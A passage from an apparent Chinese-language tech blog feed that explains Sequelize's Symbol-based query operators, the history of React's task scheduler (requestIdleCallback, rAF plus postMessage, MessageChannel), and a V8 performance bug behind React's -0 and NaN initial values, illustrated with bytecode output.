punctuation">&#125;</span> <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'sequelize'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token punctuation">[</span>Op<span class="token punctuation">.</span>or<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// operators.ts</span><span class="token keyword">export</span> <span class="token keyword">const</span> <span class="token literal-property property">Op</span><span class="token operator">:</span> OpTypes <span class="token operator">=</span> <span class="token punctuation">&#123;</span>  <span class="token literal-property property">eq</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'eq'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">ne</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'ne'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">gte</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'gte'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">or</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'or'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token comment">// [...]</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>背後原因相同，都是資安上的考量，當初的 PR 在這裡：<a href="https://github.com/sequelize/sequelize/pull/8240">Secure operators #8240</a>。</p><p>話說直播的時候有人問，那如果你可以創造出一個 symbol，是不是這些防禦就沒用了？答案是：沒錯。但通常你要能做出 symbol，要嘛你已經可以執行程式碼了，要嘛開發者要自己加一個可以建立 symbol 的 deserializer，這兩個的達成難度都滿高的。</p><h2><span id="從-react-fiber-學習-event-loop">從 React Fiber 學習 event loop</span></h2><p>2018 年的時候我寫過一篇 React fiber 相關的文章：<a href="https://blog.huli.tw/2018/03/31/react-fiber-and-lifecycles/">淺談 React Fiber 及其對 lifecycles 造成的影響</a>，而這個機制一語道破其實就是：「把同步的大 task 切成多個非同步的小 task」，藉此來避開阻塞 main thread。</p><p>那在 JavaScript 裡面，該怎麼來實作這個機制呢？要怎麼安排這些非同步的 task 呢？</p><h3><span id="react-1600-requestidlecallback">React 16.0.0 - requestIdleCallback</span></h3><p>在最早的 React 16.0.0 版本中，是用瀏覽器內建的 API：requestIdleCallback 來做的，MDN 的描述是：</p><blockquote><p>The window.requestIdleCallback() method queues a function to be called during a browser’s idle periods. This enables developers to perform background and low priority work on the main thread, without impacting latency-critical events such as animation and input response.</p><p>window.requestIdleCallback() 方法會插入一個函式，並在瀏覽器處於閒置時呼叫該函式。這讓開發者能在主事件迴圈中執行背景或低優先度的工作，而不會影響到像動畫或使用者輸入回應這類對延遲敏感的事件。</p></blockquote><p>把原本大的 task 切成小的 task 以後，用 <code>requestIdleCallback</code> 來安排下一個 task，讓瀏覽器在空閒的時候執行，就能不阻礙到 main thread。</p><h3><span id="react-1640-requestanimationframe-postmessage">React 16.4.0 - requestAnimationFrame + postMessage</span></h3><p>但是在 React 16.4.0 時，被換成了另一種結合 <code>requestAnimationFrame</code>（以下簡稱 rAF） 跟 <code>postMessage</code> 的方式（這個方式其實一開始是做為沒有 <code>requestIdleCallback</code> 時的替代方案，但在這個版本被扶正，直接取代掉了 <code>requestIdleCallback</code>）。</p><p>在這個機制中，會建立兩種類型的 callback，一個是利用 rAF 安排的 callback，由瀏覽器自動觸發，而另一個則是用 <code>window.addEventListener(&#39;message&#39;, fn)</code> 安排的 callback，透過 <code>window.postMessage</code> 來觸發。</p><p>這個機制實際運作的方式是這樣的，底下每一個 tick 代表一次的 event loop，我們先安排一個 rAF，在裡面計算下次 rAF 應該觸發的時間（就是當前時間 + frame 長度(如 16ms)）：</p><p><img src="/img/learn-advanced-javascript-from-react/p1.png" alt="rAF"></p><p>接著在裡面再次呼叫 rAF 還有 postMessage，安排下一次 tick 的 callback：</p><p><img src="/img/learn-advanced-javascript-from-react/p2.png" alt="rAF + postMessage"></p><p>下一步是 browser render，結束之後進入下一個 tick，然後 message handler 被觸發：</p><p><img src="/img/learn-advanced-javascript-from-react/p3.png" alt="message handler"></p><p>由於剛剛已經計算過下次 rAF 應該被觸發的時間，所以 message handler 可以趁著這段時間（可能有個 5ms 或更長） 做事，在時間到之前不斷執行小的 task。</p><p>執行完以後 rAF 會再次觸發，做跟剛剛一樣的事情，安排下一個 tick 的 callback，然後 browser render，結束這個 tick：</p><p><img src="/img/learn-advanced-javascript-from-react/p4.png" alt="tick over"></p><p>這樣的流程不斷執行下去，就是整個非同步 task 的任務安排機制了，簡單來講就是：</p><ol><li>在 rAF 裡面算出有多少時間可以執行 task 而不干擾 render</li><li>在 message handler 中盡量執行任務</li></ol><p>在 React 原始碼中，rAF 會被叫做 Animation Tick，而 message handler 叫做 Idle Tick。</p><p>那為什麼要用 postMessage 跟 message handler 呢？原因是如果用 <code>setTimeout(fn, 0)</code> 的話，有個經典的 4ms 限制，如果你不斷利用 setTimeout 來安排 task，在重複遞迴安排幾次之後，最短的執行間隔就會變成 4ms，不論你 interval 設多少都一樣。</p><p>而 postMessage 跟 message handler 則沒有這個限制，因此就選了這個。</p><p>但是用 message handler 有個缺點，那就是目前的使用方式是 <code>window.addEventListener(&#39;message&#39;, fn)</code>，因此每次安排 task 時都必須使用 <code>window.postMessage</code>，若是頁面上有別的 listener，就會一直一直被觸發。</p><p>像是有些擴充套件可能會印出所有收到的 message 來幫助 debug，可能每 30ms 左右就會收到一個，log 直接被打爆。像這樣有 side-effect 的行為顯然不是什麼好事，會干擾到其他的實作。</p><h3><span id="react-1670-requestanimationframe-messagechannel">React 16.7.0 - requestAnimationFrame + MessageChannel</span></h3><p>所以從 React 16.7.0 開始，就把這段改用 MessageChannel 來做了，這是另一個可以實作訊息交換的 Web API，用法跟原本的其實很像，只是多了個 port 的概念：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// DOM and Worker environments.</span><span class="token comment">// We prefer MessageChannel because of the 4ms setTimeout clamping.</span><span class="token keyword">const</span> channel <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MessageChannel</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> port <span class="token operator">=</span> channel<span class="token punctuation">.</span>port2<span class="token punctuation">;</span>channel<span class="token punctuation">.</span>port1<span class="token punctuation">.</span>onmessage <span class="token operator">=</span> performWorkUntilDeadline<span class="token punctuation">;</span><span class="token function-variable function">schedulePerformWorkUntilDeadline</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  port<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在程式碼的註解中也可以看到為什麼 React 不用 setTimeout，跟我剛剛講的理由是一樣的，加上這個改動的 PR 在這：<a href="https://github.com/facebook/react/pull/14234">[scheduler] Post to MessageChannel instead of window #14234</a>。</p><p>看起來好像就是這樣了？這個機制滿合理的，透過兩種不同類型的非同步 task 做不同的事情，並且在不干擾到 render 的前提下盡量做事。</p><h3><span id="react-16120-messagechannel">React 16.12.0 - MessageChannel</span></h3><p>但是，在 React 16.12.0 時，機制又變了一次，把 rAF 也拿掉了，只留下 MessageChannel 而已，每次執行最多 5ms：</p><p><img src="/img/learn-advanced-javascript-from-react/p5.png" alt="message channel"></p><p>那為什麼要換成這個機制呢？有兩個地方有說明，第一個是 16.12.0 裡的<a href="https://github.com/facebook/react/blob/v16.12.0/packages/scheduler/src/forks/SchedulerHostConfig.default.js">程式碼</a>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Scheduler periodically yields in case there is other work on the main</span><span class="token comment">// thread, like user events. By default, it yields multiple times per frame.</span><span class="token comment">// It does not attempt to align with frame boundaries, since most tasks don't</span><span class="token comment">// need to be frame aligned; for those that do, use requestAnimationFrame.</span><span class="token keyword">let</span> yieldInterval <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>翻中文是：</p><blockquote><p>調度器會定期讓出執行權，以便主執行緒上若有其他工作（例如使用者事件）能夠被處理。預設情況下，它在每一幀中會讓出多次。它不會嘗試與畫面更新（frame）邊界對齊，因為大多數任務不需要與畫面對齊；若是需要對齊畫面更新，請使用 requestAnimationFrame。</p></blockquote><p>大意就是因為任務不需要跟畫面 render 對齊，所以就不管 render 了，反正就是一直讓出去。</p><p>第二個説明則是在 <a href="https://github.com/facebook/react/issues/21662">Concurrency &#x2F; time-slicing by default #21662</a> 這個 issue 中，有人問說 scheduler 是不是還在用 <code>requestIdleCallback</code> 時，dan 哥的留言：</p><blockquote><p>No, it fired too late and we’d waste CPU time. It’s really important for our use case that we utilize CPU to full extent rather than only after some idle period. So instead we rewrote to have our own loop that yields every 5ms.<br>不行，那個（機制）觸發得太晚，會浪費 CPU 時間。對我們的使用情境來說，盡可能充分利用 CPU 非常重要，而不是等到某個閒置時間才開始做事。所以我們改成自己寫一個每 5ms 就讓出一次的循環。</p></blockquote><p>解惑了為什麼一開始把 <code>requestIdleCallback</code> 淘汰掉，因為觸發的太晚了。</p><p>那現在最新的 v19.2.0 版本的實作又是如何呢？</p><p>從<a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/Scheduler.js">程式碼</a>中可以看出來，基本上就是上面那一套機制了，沒有太多改變，一樣是用 MessageChannel 安排 task，然後每隔一段時間讓出去。</p><h3><span id="不遠的未來原生-scheduler-api">不遠的未來：原生 Scheduler API</span></h3><p>其實 Scheduler 這東西不止 React，只要需要非同步安排任務的都會用到。因此，瀏覽器其實有提供原生的 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Scheduler">Scheduler API</a>，只是很新所以支援度不太好，但可以預見在未來可能不需要自己寫一套了，用瀏覽器原生給的會是最好的。</p><p>事實上，React 現在就有用這個實作一套了，但還是 unstable 的狀態：<a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/SchedulerPostTask.js">SchedulerPostTask.js</a>，原生直接支援安排不同優先順序的任務，比自己寫方便多了。</p><p>總之，從 React 對於安排非同步任務的程式碼中，可以學到幾個不同函式觸發的時機以及頻率的差別，也可以從這幾次的機制變動中，去了解為什麼 React 做出了這樣的選擇，讓我們更了解這些非同步的細節差異。</p><h2><span id="從-v8-bug-學習底層運作">從 V8 bug 學習底層運作</span></h2><p>延續剛剛講的 React fiber，在<a href="https://github.com/facebook/react/blob/v19.2.0/packages/react-reconciler/src/ReactFiber.js#L177">程式碼</a>中有一段 profiler 相關的部分：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1.1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>問題來了，為什麼這邊的初始值是 -0 而不是 0？這兩個有什麼差異呢？</p><p>甚至在舊一點的版本中，還先賦值成 NaN 才變成 0，這又是什麼魔法？</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這一切都跟 V8 底層的運作以及一個 bug 有關。</p><p>針對這件事情，其實 V8 自己有一篇部落格文章：<a href="https://v8.dev/blog/react-cliff">The story of a V8 performance cliff in React</a>，裡面講的已經很好了，麻煩自己去讀這篇文章，或是跟 AI 一起看，我就不再重複一次，底下只講結論跟重點。</p><p>首先，儘管我們都知道在 JavaScript 的規格中，<a href="https://blog.huli.tw/2022/02/25/javascript-how-many-types/#6-number">所有的數字都是 double</a>，但是 JavaScript 引擎在實作時可不一定，畢竟如果真的每個數字都存成 64bit 的 double，既會有空間問題也有效能問題，整數做加減也會是浮點數運算，誰受得了。</p><p>因此，在 V8 引擎中，其實數字還是有分兩種，一種是 32bit 的 int 叫做 small integer，簡稱 Smi，而另外一種就真的是浮點數了，叫做 HeapNumber，兩種存的位置是不同的，浮點數要存到 heap 去。</p><p>而為了幫 object 做一些優化，因此 object 在儲存時，會關聯到一個叫 shape 的東西，類似於 object 的 metadata，來存每個值的 type 以及 offset，同樣 interface 的 object 會共享同一個 shape。</p><p>在 object value 的型別改變時，這個 shape 也會一起跟著變，例如說從 Smi 變成 double，就會產生一個新的 shape。</p><p>而 V8 的這個 bug 簡單來講就是在 React profiler 中一開始會把某些值初始化成 0，型別是 Smi，接著用 <code>Object.preventExtensions</code> 來阻止新增新的屬性，然後把這個值改成浮點數（<code>performance.now()</code> 的回傳值）。</p><p>這樣的行為讓 V8 壞掉，不知道該怎麼處理 shape 的改變，於是就新增了一個全新的 shape。而且不只針對這一個 object，是所有類似的 object 都會，都無法共享 shape，而是每人有一個自己的。</p><p>儘管大多數人都不會察覺這種底層的差別，但因為 React 在測試時 node 數量很多，當基數放大後就能察覺到差異，演變成了一個性能問題。</p><p>雖然 V8 把 bug 修掉，所以現在不會有這問題了，但是 React 那邊也修了一版，例如說剛提到的 NaN，會設置成 NaN 是因為它底層是浮點數而不是 Smi，而現今的版本之所以是 -0 也是一樣的原因，-0 是浮點數，0 是 Smi。</p><p>當初始值跟後來的值都是浮點數時，就不會有這個 shape 改變的問題，也就不會碰到這個 V8 bug。</p><p>但是，你有沒有想過要怎麼知道 NaN 跟 -0 是浮點數呢？</p><h3><span id="從-v8-bytecode-看底層型別">從 V8 bytecode 看底層型別</span></h3><p>除了翻規格以外，把程式碼編譯成 V8 bytecode 其實是個很好的方法，例如說底下的函式：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> x <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token operator">/</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span><span class="token punctuation">&#125;</span><span class="token constant">AAAAA</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>我用指令 <code>node --print-bytecode test.js &gt; out</code> 編譯後，得出的結果為：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">[</span>generated bytecode <span class="token keyword">for</span> <span class="token keyword">function</span><span class="token operator">:</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token number">0x31bb2f7de971</span> <span class="token operator">&lt;</span>SharedFunctionInfo <span class="token constant">AAAAA</span><span class="token operator">></span><span class="token punctuation">)</span><span class="token punctuation">]</span>Bytecode length<span class="token operator">:</span> <span class="token number">41</span>Parameter count <span class="token number">1</span>Register count <span class="token number">2</span>Frame size <span class="token number">16</span>Bytecode age<span class="token operator">:</span> <span class="token number">0</span>   <span class="token number">62</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df776</span> @    <span class="token number">0</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df778</span> @    <span class="token number">2</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df779</span> @    <span class="token number">3</span> <span class="token operator">:</span> 0c                LdaZero         <span class="token number">0x31bb2f7df77a</span> @    <span class="token number">4</span> <span class="token operator">:</span> c3                Star1   <span class="token number">62</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77b</span> @    <span class="token number">5</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">00</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>   <span class="token number">73</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df77f</span> @    <span class="token number">9</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df781</span> @   <span class="token number">11</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df782</span> @   <span class="token number">12</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">00</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df784</span> @   <span class="token number">14</span> <span class="token operator">:</span> c3                Star1   <span class="token number">73</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df785</span> @   <span class="token number">15</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">02</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>   <span class="token number">85</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df789</span> @   <span class="token number">19</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78b</span> @   <span class="token number">21</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df78c</span> @   <span class="token number">22</span> <span class="token operator">:</span> 0d <span class="token number">03</span>             LdaSmi <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df78e</span> @   <span class="token number">24</span> <span class="token operator">:</span> c3                Star1   <span class="token number">85</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df78f</span> @   <span class="token number">25</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">04</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span>   <span class="token number">96</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df793</span> @   <span class="token number">29</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df795</span> @   <span class="token number">31</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df796</span> @   <span class="token number">32</span> <span class="token operator">:</span> <span class="token number">13</span> <span class="token number">01</span>             LdaConstant <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df798</span> @   <span class="token number">34</span> <span class="token operator">:</span> c3                Star1   <span class="token number">96</span> <span class="token constant">E</span><span class="token operator">></span> <span class="token number">0x31bb2f7df799</span> @   <span class="token number">35</span> <span class="token operator">:</span> <span class="token number">62</span> fa f9 <span class="token number">06</span>       CallUndefinedReceiver1 r0<span class="token punctuation">,</span> r1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df79d</span> @   <span class="token number">39</span> <span class="token operator">:</span> 0e                LdaUndefined  <span class="token number">114</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df79e</span> @   <span class="token number">40</span> <span class="token operator">:</span> a9                ReturnConstant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span>Handler <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">)</span>Source Position <span class="token function">Table</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">21</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df7a1</span> <span class="token operator">&lt;</span>ByteArray<span class="token punctuation">[</span><span class="token number">21</span><span class="token punctuation">]</span><span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到 3 就是直接 <code>LdaSmi</code>，代表是 Smi，而 -0 跟 NaN 是 <code>LdaConstant</code>，從 constant pool 載入進來，而這個 constant pool 裡面則寫著：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Constant <span class="token function">pool</span> <span class="token punctuation">(</span>size <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token number">0x31bb2f7df711</span><span class="token operator">:</span> <span class="token punctuation">[</span>FixedArray<span class="token punctuation">]</span> <span class="token keyword">in</span> OldSpace <span class="token operator">-</span> map<span class="token operator">:</span> <span class="token number">0x3bc7231c0211</span> <span class="token operator">&lt;</span><span class="token function">Map</span><span class="token punctuation">(</span><span class="token constant">FIXED_ARRAY_TYPE</span><span class="token punctuation">)</span><span class="token operator">></span> <span class="token operator">-</span> length<span class="token operator">:</span> <span class="token number">2</span>           <span class="token number">0</span><span class="token operator">:</span> <span class="token number">0x31bb2f7df731</span> <span class="token operator">&lt;</span>HeapNumber <span class="token operator">-</span><span class="token number">0.0</span><span class="token operator">></span>           <span class="token number">1</span><span class="token operator">:</span> <span class="token number">0x3bc7231c0561</span> <span class="token operator">&lt;</span>HeapNumber nan<span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>很明顯可以看到這兩個都是 heap number，不屬於 Smi。</p><p>如果從理論上的角度來看也行啦，NaN 不能是 Smi，是因為 NaN 本來就是 IEEE 754 裡面定義的東西，而 -0 需要那個負號，這個在 int 中也沒有，所以也只能是個 double。</p><p>但總之呢，未來若是碰到這個底層型別的疑惑，可以編譯成 bytecode 之後確認，一目瞭然。</p><h2><span id="總結">總結</span></h2><p>這篇文章中我們從 React 原始碼中學到不少東西，分別是：</p><ol><li>Symbol 的用途，可以利用沒辦法反序列化的特性，來保證外界沒辦法構造出來</li><li>各種非同步函式如 <code>requestIdleCallback</code>、<code>requestAnimationFrame</code>、<code>MessageChannel</code> 與 <code>setTimeout</code> 的觸發時機以及特性，還有 React 底層是怎麼安排 task 的。</li><li>在規格上看來所有 JavaScript 的數字都是 64bit double，但在 V8 底層其實還是有分 Smi 跟 double，可以用 bytecode 來確認型別。</li></ol><p>以上內容都來自於我自己寫的<a href="https://www.tenlong.com.tw/products/9786267757048">《JavaScript 重修就好》</a>這本書，書中還有提到更多有趣的案例，像是 Vue 又是怎麼實作非同步的，它的 <code>nextTick</code> 背後用的又是哪個函式？或是 IEEE 754 還定義了哪些東西，數字在使用時需要注意什麼地方等等。</p><p>如果有興趣的話可以找來看看，有什麼問題或建議都可以透過<a href="https://www.facebook.com/huli.blog">臉書粉專</a>聯絡我。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;前陣子去 &lt;a href=&quot;https://2025.jsdc.tw/&quot;&gt;JSDC&lt;/a&gt; 的線上前導活動分享了這個主題，想說既然都分享了，不如就寫篇文章好了。這篇文章的靈感來源以及內容其實都是來自於&lt;a href=&quot;https://www.tenlong.com.tw/products/9786267757048&quot;&gt;《JavaScript 重修就好》&lt;/a&gt;。當初寫書的時候就有參考 React 原始碼中的一些東西，這篇只是把原本分散在書中的各個 React 相關章節整理起來重寫一遍。&lt;/p&gt;
&lt;p&gt;我覺得從這些開源專案的程式碼中學一些新的概念滿有趣的，畢竟這些很多人用的框架通常碰過的 bug 也越多，學到這些問題的解法以後，也可以再回去反思以前自己學過的東西。&lt;/p&gt;
&lt;p&gt;這篇分成三個小章節：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;React 舊版的 XSS&lt;/li&gt;
&lt;li&gt;從 React Fiber 學習 event loop&lt;/li&gt;
&lt;li&gt;從 V8 bug 學習底層運作&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;開頭先聲明一下，雖然標題叫做「從 React 中學習 JavaScript 底層運作」，只有最後一個比較底層，第一個更是與底層沒什麼關係。只是我沒想到比這個更好的標題，因此就用這個了。&lt;/p&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  
  
  <entry>
    <title>Chrome 內建的翻譯與 Prompt API</title>
    <link href="https://blog.huli.tw/2025/09/27/chrome-built-in-prompt-api/"/>
